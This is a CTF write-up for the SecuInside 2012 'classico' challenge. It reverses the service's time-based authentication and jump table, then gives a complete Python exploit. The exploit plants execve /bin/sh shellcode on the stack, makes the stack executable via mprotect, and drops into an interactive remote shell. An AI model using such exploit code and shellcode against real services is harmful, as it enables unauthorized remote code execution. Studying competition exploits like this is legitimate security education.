SecuInside2K12 Prequals: classico writeup
Like dethstarr, we had to fully reverse a given binary to understand how the protocol works. As usual, we have to pass a lot of checks. The first one can be summed up to the following C code:
read(0, buff, 0x50);
if (*(DWORD*)buff <= 0x182)
if (*(DWORD*)buff > 0x181)
if (!strcmp(buff + 4, "INETCOP"))
if (*(DWORD*)(buff + 9) == time(0))
if (!strcmp(buf + 40, <random_string>))
{
res_diff = *(DWORD*)(buff + 18) - *(DWORD*)(buff + 19);
if (res_diff > 0)
return res_diff;
}
return -1;
The random_string
is created using the following function :
char random_str[32];
char tab[] = "0123456789abcdef";
srand(time(0));
for (i = 0; i < 32; i++)
{
random_str[i] = tab[rand() % strlen(tab)];
}
The first check was really a problem in remote, because we had to synchronize
with the server (time(0)
). To overcome this issue, I ran date
on the server
by using the dethstarr
service exploit:
$ date
Sun Jun 10 15:50:07 EDT 2012
After the first check function, there is a second one which starts by reading 4
bytes as a signed dword and check if it is between 0 and 0xF (included).
This value will be used as an index for a jump table. Then it reads 4 bytes
again, and check if it is equal to res_diff
from the first check function.
This value will be used after, let’s call it nbbytes
. I will not analyze
every switch case, but only the 3 most interesting.
Case 0x3
The program reads 4 bytes and check if it’s null, and then if nbbytes
is
less than 4095, it reads nbbytes
into a malloced buffer.
This buffer will be passed to chdir
, and then it will check if the content at
0xbfc8c8c8 is not null. If the result of the last malloc is
greater than 0x82828282, this function will jump to adress 0xbfc8c8c8.
Case 0x9
Like case 0x3 it will read 4 bytes and check if it is null, but
then it reads another nbbytes
into a 1025 dword table. Not to worry,
nbbytes
is also verified in this function. After that, it will check if the
value of esp is greater than 0xbfc8c8c8. If not it will mprotect
it with
prot parameter equal to PROT_READ | PROT_WRITE | PROT_EXEC
.
If the mprotect
succeeds, it sends us a random string, and an error code,
0xAAAAAAAA, otherwise it sends 0x82828282.
Case 0xF
This is the last case, and the most interesting as it is required to trigger all the stuff described before.
0x0 0x4 0x8 0xC 0x10 0x14 0x18
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| <counter> | <nb_loop> | 0x0 | 0x0 | 0x1 | 0x0 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Each time this function is called, a global counter is
incremented, so the first field of the buffer must equal to this.
The filed before the last is not null, because we want the function to
call another function which calls malloc
and read some bytes from it. We
have to do it because for case 0x9 we need to have the last malloc
return
adress greater than 0x82828282.
The second field is the number of times main
is called, it can be useful to
recurse and decrease the value of esp enough to then call case 0x9, and then
case 0x3.
Here is the scheme of the exploit:
- Call 0xF statements enough time with
nb_loop
equal to one, to decreaseesp
enough - One last call to case 0xF in order to set
nb_loop
to 2, and put our shellcode onto the stack - Call case 0x9 in order to make the stack executable at an address near 0xbfc8c8c8.
- Call case 0x3 to jump into our shellcode
Here is the final exploit :
import socket
import struct
import sys
import ctypes
import time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#s.connect(("61.42.25.24", 8888))
s.connect(("192.168.103.61", 4242))
LIBC = ctypes.cdll.LoadLibrary("./libc.so.6")
def get_time(x):
start = LIBC.time(0)
cur = LIBC.time(0)
if x and (x % 100) == 0:
while cur == start:
cur = LIBC.time(0)
return cur - 2
def first_check(x, a, b):
t = get_time(x)
LIBC.srand(t)
buf = struct.pack("<I", 0x00000182)
buf += "INETCOP"
buf += "B" * 25
buf += struct.pack("<I", t)
tab = "0123456789abcdef"
for x in xrange(32):
v = LIBC.rand()
buf += tab[v % len(tab)]
buf += struct.pack("<I", a)
buf += struct.pack("<I", b)
s.send(buf)
def start_second_check(a, b, func):
s.send(struct.pack("<I", func))
s.send(struct.pack("<I", a - b))
# 0xF case
def last_case(counter, diff, nb_loop, last, cmd):
s.send(struct.pack("<I", counter))
s.send(struct.pack("<I", nb_loop))
s.send(struct.pack("<I", 0x00000000))
s.send(struct.pack("<I", last))
s.send(struct.pack("<I", 0x00000001))
s.send(struct.pack("<I", 0x00000000))
s.send(cmd)
# 0x9 case
def mprotect_case():
a = 0x30
b = 0x20
diff = a - b
first_check(counter, a, b)
start_second_check(a, b, 0x9)
s.send(struct.pack("<I", 0))
cmd = "A" * diff
s.send(cmd)
s.recv(0x50)
d = s.recv(0x10)
if len(d) > 4:
error = struct.unpack("<I", d[-4:])[0]
print "Return : ", hex(error)
if error == 0x82828282:
print "mprotect() failed"
# 0x3 case
def chdir_case():
a = 0x30
b = 0x20
diff = a - b
first_check(counter, a, b)
start_second_check(a, b, 0x3)
s.send(struct.pack("<I", 0))
s.send("/tmp" + "\x00" + "A" * (diff - 5))
counter = 0
a = 0x30
b = 0x20
diff = a - b
loop = int(sys.argv[1])
raw_input()
for x in xrange(loop):
print "X = ", x
try:
first_check(x, a, b)
start_second_check(a, b, 0xF)
last_case(counter, diff, 1, 0, "A" * diff)
counter = counter + 1
except :
print s.recv(0x50)
d = s.recv(0x10)
if len(d) > 4:
error = struct.unpack("<I", d[-4:])[0]
print "Error : ", error
print s.recv(1024)
else:
print d
exit(0)
shellcode = "\x90" * 40 + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80" + "\x90" * 40
a = 0x1000
b = 0x20
diff = a - b
length = diff - (len(shellcode) * 10)
cmd = "\x90" * length + shellcode * 10
first_check(x, a, b)
start_second_check(a, b, 0xF)
# put the shellcode by using the read on the stack instead of malloc
last_case(counter, diff, 1, 1, cmd)
counter = counter + 1
a = 0x30
b = 0x20
diff = a - b
first_check(x, a, b)
start_second_check(a, b, 0xF)
last_case(counter, diff, 3, 0, "A" * diff)
mprotect_case()
chdir_case()
while True:
print ">",
cmd = raw_input()
if not cmd:
break
s.send(cmd + "\n")
sys.stdout.write(s.recv(65536))
Unfortunately, I wasn’t able to exploit this on the remote service, because I
had an error in my python script. It wasn’t checking the mprotect
return
value correctly, and I only figured this out after the end of the CTF.